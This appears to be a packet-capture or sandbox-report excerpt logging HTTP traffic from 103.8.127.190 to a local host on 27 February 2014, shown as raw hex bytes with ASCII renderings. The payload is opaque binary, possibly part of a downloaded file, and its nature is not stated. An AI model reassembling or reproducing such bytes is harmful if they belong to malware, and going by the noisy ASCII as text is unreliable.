Feb 27, 2014 17:55:42.626401901 MEZ	80	1057	103.8.127.190	192.168.0.18	Data Raw: bd a6 ef c1 7a ad bc 20 34 e8 cf 68 0e 9d 7e 1e 86 14 3f cf 57 75 f5 b1 d3 ea 6d a7 39 b1 88 66 8d 7b 30 80 ac 04 8b e5 14 9e c6 c1 1f b4 3e f0 ab 89 fb 68 69 0f 8a 87 55 c7 5f ce 85 b3 1d 06 de 88 e3 13 14 c5 0e af bd 38 c0 13 49 ec 81 1d fb 1b Data Ascii: z 4h~?Wum9f{0>hiU_8I&yCW1LWpLdr9S.\3/8,["0p8gZnb2J>o"Jg\VUZ-qtN:8t3oA'W8ZSxy^^+(:V-)	527
Feb 27, 2014 17:55:42.626406908 MEZ	80	1057	103.8.127.190	192.168.0.18	Data Raw: d7 9c 21 b6 df 00 1c ec ee 29 0f cc fb b7 22 ba 03 fc 97 e6 fd ad d1 cb 6b 03 8a 54 dd 48 09 13 71 45 15 22 ae 77 50 13 07 e1 f5 01 02 f0 14 15 a9 ab 2d 8f 58 c1 db 14 df ce 55 a4 f0 ab b1 04 79 af 0f 3a 62 c2 68 fe 62 05 82 80 ad 60 05 99 ce 6d Data Ascii: !)"kTHqE"wP-XUy:bhb`mJ+ Tp$?PT#aOXp0[Pzhkt`y?Bay*#kYgP:wCWxJN">H8v<Xr85R;nYJ7Ul$ufnN	529
Feb 27, 2014 17:55:42.627093077 MEZ	80	1057	103.8.127.190	192.168.0.18	Data Raw: 71 f8 c2 b8 03 f9 46 ed f4 bc c9 5f 56 1d 48 fc 16 ca 4a 44 1e d3 6d d6 97 71 6c c6 2b ed 1a ac 15 ef 4a 44 38 16 1c 06 15 c3 9a aa 1b fb fe 2c ab 1b 4e 30 55 87 4a c2 04 8d 1f e0 a9 51 eb af 17 22 ca 2b 03 b9 9f 86 01 99 4a 79 6a 24 29 c4 c5 d1 Data Ascii: qF_VHJDmql+JD8,N0UJQ"+Jyj$)jJ`l[-}024F/Sh#OD^O?5g"^]mKIJgzWH{\-!}nZfC(JnS{J.xN> L/a3N	530
Feb 27, 2014 17:55:42.731091976 MEZ	80	1057	103.8.127.190	192.168.0.18	Data Raw: 6d 52 c8 13 b3 f8 ef e8 de e9 0b 06 b1 f7 c2 a8 6f c7 6c e8 5f 7d ed 1e 53 b8 ae ef 36 e4 2e 58 8b 3f 08 91 97 99 89 8f 21 fc 8f f3 b2 bb 4a 67 b9 ed 06 e2 c2 e1 a9 bc 39 f9 dd 73 51 bb 0f fe 3f 79 3e 91 d2 b4 19 e1 b3 bd 08 2c 34 25 20 2d 57 4f Data Ascii: mRol_}S6.X?!Jg9sQ?y>,4% -WO)U>HQcNDJ,(qJVmJABoDU;(1Cc1!WQRGL\|qyW5/JX1<i&].ogZ	532
Feb 27, 2014 17:55:42.731110096 MEZ	80	1057	103.8.127.190	192.168.0.18	Data Raw: 6b 71 4a cc ef a5 4c 8d fe f9 4b 9e 8d b8 74 f6 cd bb 48 76 80 32 3c 7d 15 38 3c 81 15 85 5f 8d 3f 14 c8 c3 ae c6 4e 7f bf bd 6b d4 f2 01 fa 42 57 e1 00 b8 c6 af 8b d8 36 8b 4a 9e 65 b8 e2 14 0b 46 21 ad 61 d8 d9 d1 22 f1 38 90 26 b9 3e dc 7a d3 Data Ascii: kqJLKtHv2<}8<_?NkBW6JeF!a"8&>zY^6l0kpoBU9(sZo+<6+(KKNt#,6*h6V,2_IU_3!J^J\JVT B--n	533
Feb 27, 2014 17:55:42.731112003 MEZ	80	1057	103.8.127.190	192.168.0.18	Data Raw: 55 c1 48 d9 b1 bf 81 25 7c 9a fa e4 37 bd b5 a8 7b 63 ac ea 5f b9 5a a3 1b a9 af 69 52 7b 0a 56 17 7d ba 58 00 16 1a a4 86 f1 9a a6 e5 1f 0f dd b8 8e b8 ac 56 2b 1e 10 d4 35 f3 da 15 ef 8e ea 56 81 9a dc 27 78 4b 2a 52 f2 00 6c ea 9d c0 22 07 33 Data Ascii: UH%\|7{c_ZiR{V}XV+5V'xK*Rl"35NaeJ_^dlQ>HS1#oR3y?6u>J_Rw"D<Ya#D!tYrJi3YwFnzJ+Qd.1JL\(XX	534
Feb 27, 2014 17:55:42.731115103 MEZ	80	1057	103.8.127.190	192.168.0.18	Data Raw: c7 f9 0a ba 37 71 52 f3 d2 46 4b a9 35 fd c9 e0 48 47 d5 cf 37 80 70 b7 27 81 6e 8e 03 74 4a d3 72 c4 a9 e1 c4 ad 8c 8c 72 13 0d e7 97 7d 68 db a7 f9 05 2e f1 27 55 ea 9a f5 4e e4 dc 4f 68 ce e6 a9 05 be 17 11 fa 19 3f 2a ea 3c 27 fd 8f 2c 31 da Data Ascii: 7qRFK5HG7p'ntJrr}h.'UNOh?*<',1v8(xJ`PD:X4W^kikz\WHRWcWVhqG[3JR@BlMYT{1p_7EC:(wRxo	536
Feb 27, 2014 17:55:42.731127024 MEZ	80	1057	103.8.127.190	192.168.0.18	Data Raw: 20 f9 5d a4 47 f8 16 22 56 f1 4b e8 93 d1 6f 2c ae a9 a7 ef 37 f3 bf 10 60 32 8c 2f d3 e9 0a 02 01 9c a4 fe 6b fc ce 3c 17 b6 04 b4 9e ff da c5 e5 f1 0c ef 19 3f cf e0 1a ad a1 ec 81 e9 c0 2f 57 ab 8e 2a 65 f9 40 4c 78 b2 7a cc 0f b9 6a a9 d9 b1 Data Ascii: ]G"VKo,7`2/k<?/We@Lxzjq7hn+ijc\|>n}+ejBG(^R@YDEQ-^T4hjftK5K*=t>ZO%%2#H}k4Bx]O\>Q(^\	537
Feb 27, 2014 17:55:42.731549978 MEZ	80	1057	103.8.127.190	192.168.0.18	Data Raw: 4c eb 1e f9 34 66 41 98 56 f9 80 ed 33 f4 fa b4 0c 20 4e 32 f2 1f 69 fc 64 17 30 6a 17 f0 4e ec 01 81 8f cc f1 fb 1f ea 33 af 71 f1 fe 8a 04 ac 5f 33 9b 16 fa 97 6f 04 15 f1 8c 88 06 4f 0c e6 5f 0d ca d0 46 c0 82 79 5f a5 5c 89 17 72 ba fd 30 e9 Data Ascii: L4fAV3 N2id0jN3q_3oO_Fy_\r0U}5=2Kr[=nlwND>jrJSA<OTQn\|n4(:`oJ EauiK,CQq.tDkJ3],)Qa\jh1rHA[Jq"Ra+n	538
Feb 27, 2014 17:55:42.752970934 MEZ	80	1057	103.8.127.190	192.168.0.18	Data Raw: 12 db 67 7b 94 5d 5b 95 a5 f9 15 14 a1 de 6a 24 d2 9a 4b f8 35 79 59 de 4d 88 38 2c 57 d0 bb a3 9f ed 22 2a 35 c2 4a bb 0b 3c 4e d8 98 8b 78 ae ef cf 68 a6 de bf 02 be d7 f8 99 8d 0e ae 2d 03 3e 28 06 a4 ef 77 7f ae 35 e5 1a e8 17 f9 7d 36 92 6d Data Ascii: g{][j$K5yYM8,W"5J<Nxh->(w5}6mUpJ,r<pmKpE!=MRuJt>-FLP(>VJTy:7YZDZwr^^^DJ~M7jZzmTJ5X\0@	540
Feb 27, 2014 17:55:42.752990007 MEZ	80	1057	103.8.127.190	192.168.0.18	Data Raw: 95 d7 00 ac 3a e4 66 ac 1b ee 59 db 17 3a 73 b8 f6 74 a6 de 1e f9 17 d5 59 b9 0e 32 64 a4 4a 99 7d 73 47 c7 51 c9 02 ac 91 f6 db b6 f5 b8 6a 86 17 82 16 80 17 78 42 72 42 f9 0e ee 77 34 ce f2 3f 84 4a 98 09 f5 0a 19 cd d5 9b ac a9 2f 42 d0 08 7e Data Ascii: :fY:stY2dJ}sGQjxBrBw4?J/B~-i4I=J1'>p`RF8l@yJV+=D=o1d>KPJyZjW.l}yB#,yJP!?pJA+C	541
Feb 27, 2014 17:55:42.752995014 MEZ	80	1057	103.8.127.190	192.168.0.18	Data Raw: 62 32 0a 5c 1e e1 d5 a4 85 0f 6b 80 17 bf 68 93 bb f7 8f 69 3d fb 1f b9 35 cc 3e 98 0c 76 11 ad 11 db ed 4a 41 f9 e2 b2 71 d9 82 6c 1c c4 c8 d8 35 ea e3 ac 37 ad f6 30 5f 4e ee 99 13 96 ca ca 35 81 d8 63 ce f2 0a a3 30 46 78 13 55 9c 68 dd 97 8b Data Ascii: b2\khi=5>vJAql570_N5c0FxUhqjUO\:h.=_OFB5QFjlrnjkdZqI6b2HVc5Y4^~o{_K:5%(b8C~TO[S^s/	542
Feb 27, 2014 17:55:42.763982058 MEZ	80	1057	103.8.127.190	192.168.0.18	Data Raw: 23 00 1a cb d1 d8 8b fe 68 f9 8a 7c 5b 31 5c b9 5a 84 5a bf cb 92 fb cf 35 8c e2 7d 17 38 a1 e3 ab f9 29 f0 78 71 cc ac ff ed 4a 44 17 f9 0a e4 9c 31 7a ac 13 b8 02 67 54 3a 1e 0c 57 fb 1e ec 17 f9 5e ac 1f 11 4a ac 35 e1 46 6c 63 8a 8e ac 91 45 Data Ascii: #h\|[1\ZZ5}8)xqJD1zgT:W^J5FlcE"_n7J)2Jg%VW^8FgJVjf+/#yFWGl}B@{/J 6^JG)7JJdsBu7DGJJNn	544
Feb 27, 2014 17:55:42.763988018 MEZ	80	1057	103.8.127.190	192.168.0.18	Data Raw: ae 78 f1 ef 1b 7d 5b ee 15 5f 8c ef 5c f9 90 00 32 fa 4e 6a 4c 5f 09 ed c2 dc 6e be 15 cd ef ee 33 ee 3c a2 47 01 4a e2 90 a5 28 c8 63 85 3f ad b3 bb f6 d7 12 ca 8e d6 53 fb ee a8 54 e6 08 bc 72 b6 6c 6c 6d 93 b9 e4 77 a9 6a 8b b3 bb 4a cd 4b 87 Data Ascii: x}[_\2NjL_n3<GJ(c?STrllmwjJKd/55emY-!)QB?H3%:"404z~>=U/ui;"T459r3nHIrx+UB`J=L3Z7Ow"X:	545
Feb 27, 2014 17:55:42.764111042 MEZ	80	1057	103.8.127.190	192.168.0.18	Data Raw: 26 b4 9f 8d 17 c8 fc 15 ca 77 f7 07 42 fb 68 68 36 98 63 67 dc b8 04 ae da 4f 6b c1 59 48 10 6e b7 f9 84 a8 50 d2 57 a8 17 31 4b 6a 36 1b 8a c6 e4 50 f2 3e 16 5a 6b 42 74 ff 08 65 02 fa 5a 93 76 f8 fe 39 36 ac 2b 0d 1f 19 60 e0 41 d8 4c 07 10 c8 Data Ascii: &wBhh6cgOkYHnPW1Kj6P>ZkBteZv96+`ALHeRh`ZHa'\?J"OzCW:]5=jnn7<`KJLkD[q7gX^YUj/b+Nj+MA0LJ3	546
Feb 27, 2014 17:55:42.845045090 MEZ	80	1057	103.8.127.190	192.168.0.18	Data Raw: 21 3c cc ac 62 30 aa e9 12 9b 29 d6 07 e6 6c fa 15 3d cd 2c 9d dd 4a 98 ac d3 3e 05 98 bb 12 a8 7d 45 4e 25 d8 f9 0e 8b b9 d9 07 9e 87 4f 00 aa 9f a9 0c bc a0 ca 3b 05 91 7f fb f8 f7 d9 da 9c 52 a7 c6 a9 92 c3 9d bc d7 83 57 2b 11 7d f2 2e ec f9 Data Ascii: !<b0)l=,J>}EN%O;RW+}.?5ZhWRcsJUZJZd!n/"\|Z$;T @*,S@DJDHW1M,r37 ^@wJ>DC+3Vhtfk;?	548
Feb 27, 2014 17:55:42.845052958 MEZ	80	1057	103.8.127.190	192.168.0.18	Data Raw: 35 9d 02 2d 79 fb 1d 48 36 1f 3c 44 be f6 69 8c 12 35 1b cd 91 2f 6b fe df f9 50 9d 63 85 c8 d7 8f bb 4b 5a 36 a8 9f 92 5c 82 3c 65 15 ea 59 8e 53 94 0f f0 d3 fd ca 20 28 0f 92 a1 aa 9d 2f 8e 37 ef c9 32 11 bb 9c 8d 47 c5 4a cf 41 fd 65 ae b5 c1 Data Ascii: 5-yH6<Di5/kPcKZ6\<eYS (/72GJAe1Jhp~3&KY~ulQ%sJ/Q}X 5!.}"b9<"#NsZ5;+C]%RpE[l3F;Z05~MZdkVN?kgN	549
Feb 27, 2014 17:55:42.845055103 MEZ	80	1057	103.8.127.190	192.168.0.18	Data Raw: c7 a5 0a bc 3d 67 1f 4d 5b 3f 34 fb 17 89 83 e6 00 48 09 e2 a6 b9 52 e9 0f 90 09 2a 52 78 30 ac 10 d9 1e c9 9a 8b fa 9d 15 aa cc 2d 24 2d 98 ec 6a 80 42 6e d8 99 ce 2e 05 2c dd b6 1f d8 68 9d 12 7b e9 bd 87 bf 5a 9f 5d f3 3f 6a 96 a0 1b 90 17 55 Data Ascii: =gM[?4HRRx0-$-jBn.,h{Z]?jU@wy.vvB,if!<:aI-7BUO.J--.$iJIX8xjqhYRJKFYY?CAE6T8'v]y175+u>BXPF	550
Feb 27, 2014 17:55:42.866843939 MEZ	80	1057	103.8.127.190	192.168.0.18	Data Raw: d0 df eb 7f 13 85 46 8a 52 a7 64 b8 64 c2 5a ae f8 1f 4d 2a 52 ce 02 20 17 4f 42 d7 00 a1 0a cb 33 7b e9 09 52 ad ab 12 33 62 4e e9 37 19 5d 25 23 83 6e e8 7c f4 5a a5 c8 b8 ab 2a 54 ad 3a aa 37 9f 63 53 f0 cc ec ee 6e 83 ca 25 86 fe be 9c 7a 04 Data Ascii: FRddZMR OB3{R3bN7]%#n\|ZT:7cSn%zl%W48jVJGMh^S'dsJ//@z:GNX^B_#$0jN3l,qfi~3.QSq3]^3yry+s	552
Feb 27, 2014 17:55:42.866858959 MEZ	80	1057	103.8.127.190	192.168.0.18	Data Raw: e3 b8 5a e3 6d 10 95 69 35 a5 b2 50 17 98 a8 29 20 1e 62 96 ab f1 09 d1 1b 1f 68 94 13 89 1e ec 5d 9f ef cc 2f e8 ef 8e 47 f9 9f 7e 47 c5 82 a9 4b b5 42 53 73 b2 ad 8e 44 7a b8 ce 16 9d 68 a6 0b a0 46 94 48 b1 5a e7 d5 f0 b2 ca 35 b0 71 4d 37 f9 Data Ascii: Zmi5P) bh]/G~GKBSsDzhFHZ5qM7j_z6d'Q^m-/k@X%YHXN;<9\6 ;0,$hiLgZ5W7Ez6*$<F>l_OWz,T96qyNk	553
Feb 27, 2014 17:55:42.866861105 MEZ	80	1057	103.8.127.190	192.168.0.18	Data Raw: c4 79 16 ab fe 9d 0c e7 17 db ae bf ff fe 69 12 2d d9 0d 11 3b de a3 4a 51 3e 6d bc 6f d4 12 40 d2 bf 17 d7 3a f9 00 01 32 d0 c8 b9 23 d8 4b a8 50 51 cb 28 e8 5d d5 65 16 7f 0c 8b 99 56 79 ec 8d 80 0a bd 30 1b 49 8d 01 df 0d 0f 17 56 d9 83 c7 4c Data Ascii: yi-;JQ>mo@:2#KPQ(]eVy0IVL6yl\|l%WTRzE,HK%Y-;Jqj-y[Z+bg2*_`H@6W$)_OJhB^$XV8TTHTO:`5v$B?,t	555
Feb 27, 2014 17:55:42.867065907 MEZ	80	1057	103.8.127.190	192.168.0.18	Data Raw: 10 af dc 8d 5e f9 74 9b 5d c3 Data Ascii: ^t]	555
Feb 27, 2014 17:55:42.888705969 MEZ	80	1057	103.8.127.190	192.168.0.18	Data Raw: f6 87 95 99 5a 09 f4 79 87 4a 36 49 d8 e1 37 c4 d8 3a f9 ab df 8d ab a4 6a 97 2c 8c 2e cb 31 d8 81 04 17 2d 71 d1 79 7b 99 24 ab f1 d2 66 68 ed 6b fe 8f b0 76 a4 b7 7f 8e 7a 37 ba 03 72 a8 f9 01 12 33 8e 57 53 92 24 48 cc 42 d8 d2 5a 98 e2 12 9f Data Ascii: ZyJ6I7:j,.1-qy{$fhkvz7r3WS$HBZ]%xV._WmOkp(,j,i1+Slk7y?{dGlJAjd@KZJD6-tpJ[d\iI7xc_pHh3[7_	556
Feb 27, 2014 17:55:42.888710976 MEZ	80	1057	103.8.127.190	192.168.0.18	Data Raw: 3c a8 e9 99 4f 2b c8 24 57 c4 e5 b9 42 e7 b5 c1 90 1f 51 7f 03 ac 5b df 2a c9 c8 8f 0b 04 37 f4 e2 fc 66 c9 ce 2a 11 e7 6a c4 77 90 2d a0 d2 7c 95 74 97 94 72 43 97 bb dc 84 d1 7c 4a 85 35 90 5a 48 16 7a 95 bc 8f 61 f9 22 92 7c 7e e2 d5 b9 6a 32 Data Ascii: <O+$WBQ[7fjw-\|trC\|J5ZHza"\|~j2Z/&\|N<gks@/j0D(&~QVy{@SwZW.`7+;p,2w(W:r1l7VF'8)K\2I	558
Feb 27, 2014 17:55:42.888842106 MEZ	80	1057	103.8.127.190	192.168.0.18	Data Raw: b8 ac 5e 09 16 1e 2d 3b 28 64 16 af 69 04 22 bf fe 11 49 4f 4e b3 3e ef 69 3a 9e f7 8b 51 07 d5 5a de ef bf 69 b8 27 f4 6a e2 a2 6c e6 13 02 da 8d 69 17 b2 62 80 84 1a 08 55 32 fd 9a 6d 73 da fd c2 97 50 16 8c 67 b3 ca c7 9b ad 69 ae 07 b9 06 34 Data Ascii: ^-;(di"ION>i:QZi'jlibU2msPgi4=5!J;we`<hN:kWpA=Nhe=YWinZ5JU[Klhz^NOhLx!5x(%Z@5Cf18F$5	559
Feb 27, 2014 17:55:42.932578087 MEZ	80	1057	103.8.127.190	192.168.0.18	Data Raw: 6a c6 46 b3 28 ea 52 d9 1c ac b6 f0 ed c2 d2 e0 0a e8 37 54 fa a1 5f 2b 3c 8c 75 cf 4a 7b 2f f6 31 44 4c 45 4a ac 17 11 4a b8 ff ab 02 ac 3d 65 35 d6 08 52 f1 10 17 c4 4b fd 09 b8 a2 b8 57 fb a2 ad 17 ab 38 f4 15 7c 9a ac 31 37 9d fb 56 ed 0a b8 Data Ascii: jF(R7T_+<uJ{/1DLEJJ=e5RKW8\|17VDujWZ)K^}*kU(}iJ_J'OiK6j.<BGJ^W^ :w>K(pJWQ.L^_JRJD_x^]Z"t'	560
Feb 27, 2014 17:55:42.932595015 MEZ	80	1057	103.8.127.190	192.168.0.18	Data Raw: 98 ec d6 45 4d d5 31 b9 42 ac e2 bf 41 5f df db e8 bc 13 2d 19 09 57 bd ce 10 cf 20 5a e5 66 58 de 0a 57 2b 8a 5a 15 f2 6f 66 23 5f 4d 9a ab 0b 0a df 33 5c 38 d0 be 7f 0a 94 17 97 bd 85 da dd 09 95 ab fd 14 47 92 b9 56 63 6e f9 c2 ac 27 e1 dd ca Data Ascii: EM1BA_-W ZfXW+Zof#_M3\8GVcn'J?(mxNy7__ 7xh} (MYlhsQ7,#J,"P(Z-s_NX{cWa[EJRJjhHTQIiiTbhcPWJ%p	562
Feb 27, 2014 17:55:42.932598114 MEZ	80	1057	103.8.127.190	192.168.0.18	Data Raw: 6a 8e 22 7c 68 a9 94 f9 9e ec 68 27 7d 8a c4 41 6f 2a 35 fd 3a be 7c 80 7e 8e 99 48 2a ce 57 b2 21 ac 97 b4 79 8e 88 f9 8f d7 57 07 b8 60 d7 72 48 1c e1 d8 04 ec d9 43 7e c0 37 bf ab d1 57 f8 4f 8e f4 79 4a 45 95 fd 3d ec 55 51 6e a4 64 9a f1 fa Data Ascii: j"\|hh'}Ao5:\|~HW!yW`rHC~7WOyJE=UQnd5!\|p2N,lh=-'?5?&=JB~Y+LjJn%oJv]eTsb#Wd(R:5BVio<kKJ$hC	563
Feb 27, 2014 17:55:42.954412937 MEZ	80	1057	103.8.127.190	192.168.0.18	Data Raw: 5a bc 36 b9 c4 e8 9b 40 1a ac e5 b5 ab 4b 57 92 ab 68 15 31 8c 27 70 4b 06 ec f7 fb 4e 42 bc bc c0 bc 01 af 0a b9 17 8c 0b 8e d2 92 05 ec e7 f8 8c 26 d7 e3 ab 68 18 44 3a 2c 36 38 eb 35 6b fa a5 a8 9b 79 1a 5e f6 b3 50 bf 8f 3c c1 ac 18 89 47 8a Data Ascii: Z6@KWh1'pKNB&hD:,685ky^P<GvQetJzFGRO!_m[\|{F*~%@Hpj iu~?aNWmuvWJX@; HOpM2z\|%6SMJ-I'79>+>w\|J	564
Feb 27, 2014 17:55:42.954432011 MEZ	80	1057	103.8.127.190	192.168.0.18	Data Raw: 1a a7 07 99 28 cd 91 9f 68 b3 02 ff ca d7 85 3c b0 2f a8 9f cc 8e 17 07 3f ed 49 f9 1b f2 69 b9 8d d7 cf 15 2a f2 e1 db 26 ec 01 fd 2f ea 13 ad ec 8e 0b 79 54 bc 27 83 7b f6 97 9c 68 ac 32 a9 13 c2 b8 62 5c 01 97 92 4c 38 8d 83 0b a0 d3 db 4a 91 Data Ascii: (h</?Ii*&/yT'{h2b\L8J\|)q$Mh_eH1J7RC,9J{!xrvm4D4K:lVl"TLHpU0G>7Jj07.WNJx5mxN6/]Fy(i	566
Feb 27, 2014 17:55:42.954436064 MEZ	80	1057	103.8.127.190	192.168.0.18	Data Raw: 4b 6d 56 b9 58 7e 34 e1 87 4d 65 78 15 ac 45 f9 4a 3e 97 09 0d 24 2e 6b b5 32 97 59 4b ad 1e ed 4d d9 a6 dc 9b 4a 17 2d 38 38 a3 c6 b9 2d ea f1 a2 ed 47 f9 35 ec ff b9 bb 9c eb bd ab 11 97 92 4b 64 2c 9b 4a 5d 48 8b 41 59 56 f5 17 9c 12 58 5d ed Data Ascii: KmVX~4MexEJ>$.k2YKMJ-88-G5Kd,J]HAYVX]ChJpZ}^D9EnGWJ9,(jjq6O0inpx!d67&oZmeSQJr?6O%?K7/Z*WKoJ9n	567
Feb 27, 2014 17:55:42.954560041 MEZ	80	1057	103.8.127.190	192.168.0.18	Data Raw: 64 a8 54 20 ef 8d 9b b7 0c a1 16 f1 1c bb 49 6d 6b d5 f4 46 0f ac db 04 41 08 cc b9 8b 65 13 ed e2 3a 36 44 18 d5 c2 09 4a e4 74 b2 26 c5 c3 dd 44 ae ab df 68 d9 d3 11 d6 d5 c9 79 1a ec be 9a 2e b5 da da 68 ac 62 3e 50 e1 54 51 83 d5 07 1c 79 ed Data Ascii: dT ImkFAe:6DJt&Dhy.hb>PTQyhJn4)snP	568
Feb 27, 2014 17:55:42.976275921 MEZ	80	1057	103.8.127.190	192.168.0.18	Data Raw: de eb d3 da 07 79 63 99 d8 2e c4 c1 44 2f 68 ac 1b 48 33 ec 51 b9 b0 12 57 e6 e2 88 a3 b6 23 8a 34 a1 4a 26 13 3a 33 86 b7 e6 f6 2d c1 db 21 c4 a3 ef 7a 3d 62 db 4a ac 7f 3d 60 b2 6e a0 19 ed 73 db 65 ae 46 b5 c8 98 35 f6 4a 28 08 16 27 ee a2 32 Data Ascii: yc.D/hH3QW#4J&:3-!z=bJ=`nseF5J('23:=:<B,Nh4+8w.y6,w!%j5/Zv95WJl52wON~EhcK*I3G2JziwDD?2n`:V]zGvi~J	569
Feb 27, 2014 17:55:42.976291895 MEZ	80	1057	103.8.127.190	192.168.0.18	Data Raw: 01 ed 43 a6 a8 b9 66 85 1c 11 0b fc 17 7d 0a ac ff b9 04 05 87 43 13 de 1b 6e 0d 2c 7a f9 44 44 57 2d 5f ac 08 8c 24 a7 cd e1 f7 ed 14 f9 04 2c 9c 11 a2 f1 c6 18 3b ac ff c2 9f a6 26 4e 22 ed 13 ed 0a 2c 22 11 a2 74 2e ad 52 ea c0 67 4a bb 17 a9 Data Ascii: Cf}Cn,zDDW-_$,;&N","t.RgJ^Df8iJ_Q2}1o';xj-Y[CFy\|lf(w~JDr];sKJJ Y1*k!^]y3\|HJDSQGHm	571
Feb 27, 2014 17:55:42.976435900 MEZ	80	1057	103.8.127.190	192.168.0.18	Data Raw: df ea 9a 40 1f 3b 4b eb b1 db d2 82 2e 99 4a 61 b3 e9 13 14 20 19 86 a8 13 3f dc 8e 10 49 8c 88 95 fd 74 f6 84 db 4c a2 59 ef 1f ae f3 cc 68 bc 5b 34 43 8e 0f f1 1a 9b 98 df 68 91 49 fd 0b 8c 9c 4b 49 e4 71 ff 68 9a 13 f9 01 b1 17 ca 9c 6d 55 f8 Data Ascii: @;K.Ja ?ItLYh[4ChIKIqhmUK5U:.\2QZU5\|57[7^2IMPR#d$L0+K-NbW\|lNcy~K&_6R;W>RsD+Vk4,*,#lj]TyK	571
Feb 27, 2014 17:55:42.987349033 MEZ	80	1057	103.8.127.190	192.168.0.18	Data Raw: 54 c5 c1 ff d3 65 13 29 4e c8 36 75 58 d3 a6 28 ca d7 1a fd f7 ad a9 68 9c 8d 97 09 04 a3 16 14 4a 5d c2 d8 4a 4d d2 5b 23 bc 57 df 78 bc 59 c7 d5 14 11 db 52 d5 0e 79 1d 6c eb 6b 4c b4 fe ad 68 ac 39 4e eb 34 92 f9 4d 03 07 a7 db b8 fd 4c 68 c8 Data Ascii: Te)N6uX(hJ]JM[#WxYRylkLh9N4MLhBvP7Wij^%k<MiHz8GO5ZDZG&5+@D*!<L\O#UNh^q'%Bq~whMR(C5R	573
Feb 27, 2014 17:55:42.987366915 MEZ	80	1057	103.8.127.190	192.168.0.18	Data Raw: 6c 88 33 e6 6a 53 5f cc 38 40 52 74 cd 89 97 67 ea a0 9e 6c 8c bc 51 74 4a 98 e1 e1 fe e5 4d 4b 41 ec 24 52 cb dd 4a cb 4f 22 40 f9 85 89 b0 f9 44 14 6b 82 4e 30 22 ff c4 8e cc 45 89 8a 17 22 d4 9d 56 39 e8 fa 2d 78 cf 22 20 12 6f 3d 3f bd cc 21 Data Ascii: l3jS_8@RtglQtJMKA$RJO"@DkN0"E"V9-x" o=?!>gx%t[DW(0S4jZ'CibupJgo$?~2WV[jnk\#}nnaKBBgO#uo lp0t`B`Y'yJ}?.#B,L'VW	574
Feb 27, 2014 17:55:42.987370014 MEZ	80	1057	103.8.127.190	192.168.0.18	Data Raw: 01 66 c1 bb 9f bc 45 3d fe 9b 21 f6 12 17 5b f1 e4 ed ac 2c 44 0a 57 44 b2 ec 4e 29 80 5c ea a5 fe a2 de f9 68 80 83 76 7e 1d 44 aa 4e e5 5e ff 45 fc 44 8b 45 cc 1f a9 7e dd c1 f7 26 ae 9e 99 4a ed 0e 10 f3 d2 43 7b f4 a4 8b 32 2f 0f 26 a8 f3 58 Data Ascii: fE=![,DWDN)\hv~DN^EDE~&JC{2/&Xo21dW("&V\1zzz[&,e&#W^\|81_#ZeW j856[Z$[h n+p-izG_Z(q'YM	575
Feb 27, 2014 17:55:42.998276949 MEZ	80	1057	103.8.127.190	192.168.0.18	Data Raw: ee 8c 98 ab 4f a3 17 c2 24 b9 76 45 48 44 17 f9 4a e4 03 ed 3d 86 17 6c 01 99 3c 3d 0a 70 29 fd 1a ec 17 79 4a b8 56 b9 83 2c 3a a8 0f 89 0b 7b 37 ac 2b fd a2 b8 17 f1 b6 61 52 31 fd 8c 57 a4 a2 ac 03 f9 0a ac 17 f9 0a 79 3b 84 6a d4 16 d7 ca 23 Data Ascii: O$vEHDJ=l<=p)yJV,:{7+aR1Wy;j#^J %\|~]K^8MG>XAj7GH0J}S$AG^\c$^FJ>#,hWVJku)fNWC	577
Feb 27, 2014 17:55:42.998292923 MEZ	80	1057	103.8.127.190	192.168.0.18	Data Raw: 47 e8 17 a2 84 2c aa 23 5a fc 56 f8 ef ea 3e 28 26 51 c4 f0 06 2c 49 9d 56 14 a6 f9 8e 4b 50 b9 18 4e 1f 6a c9 de 12 b1 08 2c 56 b0 21 56 46 fb 72 48 50 f9 4f f0 56 9d 2e 32 cf c9 42 cc 7a b2 cc eb 05 29 a1 88 57 f3 2a d2 4e f3 13 0a 50 9c 4a 62 Data Ascii: G,#ZV>(&Q,IVKPNj,V!VFrHPOV.2Bz)W*NPJb4YMyq^dH\,dKPiKJF%~M1x/J('^v73I__k7VJszBAx]h	578
Feb 27, 2014 17:55:42.998296976 MEZ	80	1057	103.8.127.190	192.168.0.18	Data Raw: 08 50 d6 2f 68 44 16 aa cf bd 87 a6 ce 8e 17 df fd 3d af 56 21 1e 56 e9 09 48 03 07 8f 8e c5 3d 99 ec 50 81 12 77 ef 58 dc 8e 94 f9 10 9c c7 bb 1b d3 bc 10 0a 26 2f e3 fa b0 76 3d 68 ff 07 01 6f a9 6f af 68 af 1b 3d 5a fe 24 87 79 99 35 f4 1d 14 Data Ascii: P/hD=V!VH=PwX&/v=hooh=Z$y5\|ks;]k-u!]W{qi6'UuQze6:\DkcAWI7J\|IH?jU^h`%&H\Ipm\|VkM:rLY]EJ{r4{V+	579
Feb 27, 2014 17:55:42.998431921 MEZ	80	1057	103.8.127.190	192.168.0.18	Data Raw: 7c c5 5e 40 5a c8 93 ae 31 6a 92 d7 b1 68 57 5f 4a 78 7c fd 6f 69 93 f3 4a 85 ae f8 90 a1 95 a8 47 bc 57 70 4a 68 91 7f 95 0c b7 f9 7e 8a a6 ad ad 94 6b 15 6a 55 57 d4 02 fd d3 71 e8 a6 17 b1 be 23 be b1 5a d2 47 f1 76 77 7c 7f c3 b7 df a0 ae ac Data Ascii: \|^@Z1jhW_Jx\|oiJGWpJh~kjUWq#ZGvw\|w%9CB-%k9fN`'JR-;}8W~F:M.%<]JDPxh7M?Fytd,4AeTV/qWW@oUS s	581
Feb 27, 2014 17:55:42.998651981 MEZ	80	1057	103.8.127.190	192.168.0.18	Data Raw: cb 22 68 29 6b ae 06 2c 6b 6a d5 5f 0a 98 f5 fd f6 0b 71 d8 ae 44 a5 b9 35 a4 12 b5 82 59 37 88 2e a2 Data Ascii: "h)k,kj_qD5Y7.	581
Feb 27, 2014 17:55:43.009192944 MEZ	80	1057	103.8.127.190	192.168.0.18	Data Raw: 27 f8 3c 8c 42 d2 14 aa 01 b3 c8 ad 02 d9 35 bc d7 a8 4d d8 40 f1 0a 80 15 9f 6a a8 34 46 2a 8c 27 b9 35 3a 9f 7d 6a cd eb f9 32 24 19 d1 23 f5 a1 c2 42 6b 00 0b 8f 8c 68 86 72 af 17 5b 53 73 57 dd b9 88 b9 fb 5a ba 36 41 d6 ec 68 a4 03 a4 6b f4 Data Ascii: '<B5M@j4F*'5:}j2$#Bkhr[SsWZ6Ahk7D_jh527!WVY1\|<5XY1oZW7/BK\|pF157ASBlML7950F=`Wy9v hU,pyZDBK1=ZOT\|"	583
